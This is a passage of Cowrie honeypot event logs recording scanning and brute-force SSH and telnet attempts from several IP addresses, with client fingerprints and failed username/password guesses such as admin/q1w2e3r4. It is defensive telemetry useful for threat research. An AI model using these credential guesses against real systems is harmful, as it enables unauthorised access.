-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:45.870196Z","src_ip":"222.110.147.56","session":"ab02f482aae4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":33424,"dst_ip":"10.17.0.5","dst_port":23,"session":"1851968959a2","protocol":"telnet","message":"New connection: 144.79.218.12:33424 (10.17.0.5:23) [session: 1851968959a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:46.518139Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"112358","message":"login attempt [admin/112358] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:46.662204Z","src_ip":"222.110.147.56","session":"ab02f482aae4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":33428,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a04416053f8","protocol":"telnet","message":"New connection: 144.79.218.12:33428 (10.17.0.5:23) [session: 5a04416053f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:46.698547Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":33432,"dst_ip":"10.17.0.5","dst_port":23,"session":"7083099d44a1","protocol":"telnet","message":"New connection: 144.79.218.12:33432 (10.17.0.5:23) [session: 7083099d44a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:47.679512Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:47.865234Z","src_ip":"222.110.147.56","session":"ab02f482aae4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":33440,"dst_ip":"10.17.0.5","dst_port":23,"session":"816d81e05a5e","protocol":"telnet","message":"New connection: 144.79.218.12:33440 (10.17.0.5:23) [session: 816d81e05a5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:49.091302Z"}
{"eventid":"cowrie.session.closed","duration":32.582605838775635,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:49.361747Z","src_ip":"144.79.218.12","session":"70e868d1441d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54622,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fa6be6ad26b","protocol":"ssh","message":"New connection: 159.203.92.129:54622 (159.203.135.109:22) [session: 2fa6be6ad26b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:49.577745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:49.582658Z","src_ip":"159.203.92.129","session":"2fa6be6ad26b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:49.591152Z","src_ip":"159.203.92.129","session":"2fa6be6ad26b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"albk","password":"albk","message":"login attempt [albk/albk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:49.603667Z","src_ip":"159.203.92.129","session":"2fa6be6ad26b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.422602891922,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:50.369222Z","src_ip":"144.79.218.12","session":"385d2be730ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:50.652256Z","src_ip":"159.203.92.129","session":"2fa6be6ad26b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.40137243270874,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:50.745939Z","src_ip":"144.79.218.12","session":"ceb578b8e360","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.73128271102905,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:50.757967Z","src_ip":"144.79.218.12","session":"ae65fcdf2547","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.28537940979004,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:50.772321Z","src_ip":"144.79.218.12","session":"1212faa51cc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.22521615028381,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:52.025825Z","src_ip":"144.79.218.12","session":"eb69d58691db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":42386,"dst_ip":"10.17.0.5","dst_port":23,"session":"93f22484ba42","protocol":"telnet","message":"New connection: 144.79.218.12:42386 (10.17.0.5:23) [session: 93f22484ba42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:52.978568Z"}
{"eventid":"cowrie.session.closed","duration":35.89511561393738,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:56.476432Z","src_ip":"144.79.218.12","session":"d2ba748d8cb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.81788468360901,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:56.550291Z","src_ip":"144.79.218.12","session":"01d8da2a897b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.19363570213318,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:56.870060Z","src_ip":"144.79.218.12","session":"6e76e267e5fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.94320321083069,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:22:58.017573Z","src_ip":"144.79.218.12","session":"6b8ff32d4a24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.3813362121582,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:01.547400Z","src_ip":"144.79.218.12","session":"4b6ed875af13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.44890236854553,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:04.017330Z","src_ip":"144.79.218.12","session":"a92302bda073","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.134.240.52","src_port":54682,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b0dcbfabb2c","protocol":"ssh","message":"New connection: 91.134.240.52:54682 (159.203.135.109:22) [session: 7b0dcbfabb2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:04.369807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:04.395234Z","src_ip":"91.134.240.52","session":"7b0dcbfabb2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:04.472899Z","src_ip":"91.134.240.52","session":"7b0dcbfabb2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"q1w2e3r4","message":"login attempt [admin/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:04.790918Z","src_ip":"91.134.240.52","session":"7b0dcbfabb2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:05.875679Z","src_ip":"91.134.240.52","session":"7b0dcbfabb2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":35088,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1b016be3093","protocol":"telnet","message":"New connection: 144.79.218.12:35088 (10.17.0.5:23) [session: d1b016be3093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:07.331585Z"}
{"eventid":"cowrie.session.closed","duration":33.7993381023407,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:09.067041Z","src_ip":"144.79.218.12","session":"ddd5003acc42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":48136,"dst_ip":"10.17.0.5","dst_port":23,"session":"21a93173c8e2","protocol":"telnet","message":"New connection: 144.79.218.12:48136 (10.17.0.5:23) [session: 21a93173c8e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:11.263101Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":48148,"dst_ip":"10.17.0.5","dst_port":23,"session":"1da4df6f6e43","protocol":"telnet","message":"New connection: 144.79.218.12:48148 (10.17.0.5:23) [session: 1da4df6f6e43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:11.337767Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":48162,"dst_ip":"10.17.0.5","dst_port":23,"session":"e16477b56256","protocol":"telnet","message":"New connection: 144.79.218.12:48162 (10.17.0.5:23) [session: e16477b56256]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:12.810312Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":48166,"dst_ip":"10.17.0.5","dst_port":23,"session":"e79d72ae00bf","protocol":"telnet","message":"New connection: 144.79.218.12:48166 (10.17.0.5:23) [session: e79d72ae00bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:14.834602Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":48178,"dst_ip":"10.17.0.5","dst_port":23,"session":"e834e2838c26","protocol":"telnet","message":"New connection: 144.79.218.12:48178 (10.17.0.5:23) [session: e834e2838c26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:14.864585Z"}
{"eventid":"cowrie.session.closed","duration":36.6036479473114,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:15.462048Z","src_ip":"144.79.218.12","session":"d4080b892db8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":48182,"dst_ip":"10.17.0.5","dst_port":23,"session":"59a870c24ce2","protocol":"telnet","message":"New connection: 144.79.218.12:48182 (10.17.0.5:23) [session: 59a870c24ce2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:15.959924Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":48196,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc18e809a56d","protocol":"telnet","message":"New connection: 144.79.218.12:48196 (10.17.0.5:23) [session: dc18e809a56d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:16.961060Z"}
{"eventid":"cowrie.session.closed","duration":32.72129225730896,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:20.400688Z","src_ip":"144.79.218.12","session":"7083099d44a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.910181760787964,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:20.428211Z","src_ip":"144.79.218.12","session":"1851968959a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.56199312210083,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:22.260398Z","src_ip":"144.79.218.12","session":"5a04416053f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.44933533668518,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:24.540529Z","src_ip":"144.79.218.12","session":"816d81e05a5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":33058,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4c9a0191e7b","protocol":"telnet","message":"New connection: 144.79.218.12:33058 (10.17.0.5:23) [session: e4c9a0191e7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:26.423114Z"}
{"eventid":"cowrie.session.closed","duration":33.750038862228394,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:26.728471Z","src_ip":"144.79.218.12","session":"93f22484ba42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":33070,"dst_ip":"10.17.0.5","dst_port":23,"session":"98f51f918e71","protocol":"telnet","message":"New connection: 144.79.218.12:33070 (10.17.0.5:23) [session: 98f51f918e71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:27.983011Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":33922,"dst_ip":"159.203.135.109","dst_port":22,"session":"06ef3d0d8520","protocol":"ssh","message":"New connection: 68.183.236.1:33922 (159.203.135.109:22) [session: 06ef3d0d8520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:30.941885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:30.947645Z","src_ip":"68.183.236.1","session":"06ef3d0d8520","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":46496,"dst_ip":"10.17.0.5","dst_port":23,"session":"2abbc2097434","protocol":"telnet","message":"New connection: 144.79.218.12:46496 (10.17.0.5:23) [session: 2abbc2097434]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:31.028329Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:31.183897Z","src_ip":"68.183.236.1","session":"06ef3d0d8520","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0000","message":"login attempt [admin/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:32.158809Z","src_ip":"68.183.236.1","session":"06ef3d0d8520","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:33.400395Z","src_ip":"68.183.236.1","session":"06ef3d0d8520","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60708,"dst_ip":"159.203.135.109","dst_port":22,"session":"041e70f33ba2","protocol":"ssh","message":"New connection: 159.203.92.129:60708 (159.203.135.109:22) [session: 041e70f33ba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:34.925027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:34.929561Z","src_ip":"159.203.92.129","session":"041e70f33ba2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:34.934840Z","src_ip":"159.203.92.129","session":"041e70f33ba2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"albk","password":"albk123","message":"login attempt [albk/albk123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:34.946090Z","src_ip":"159.203.92.129","session":"041e70f33ba2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:35.952734Z","src_ip":"159.203.92.129","session":"041e70f33ba2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":46502,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a2a1972e825","protocol":"telnet","message":"New connection: 144.79.218.12:46502 (10.17.0.5:23) [session: 9a2a1972e825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:37.507202Z"}
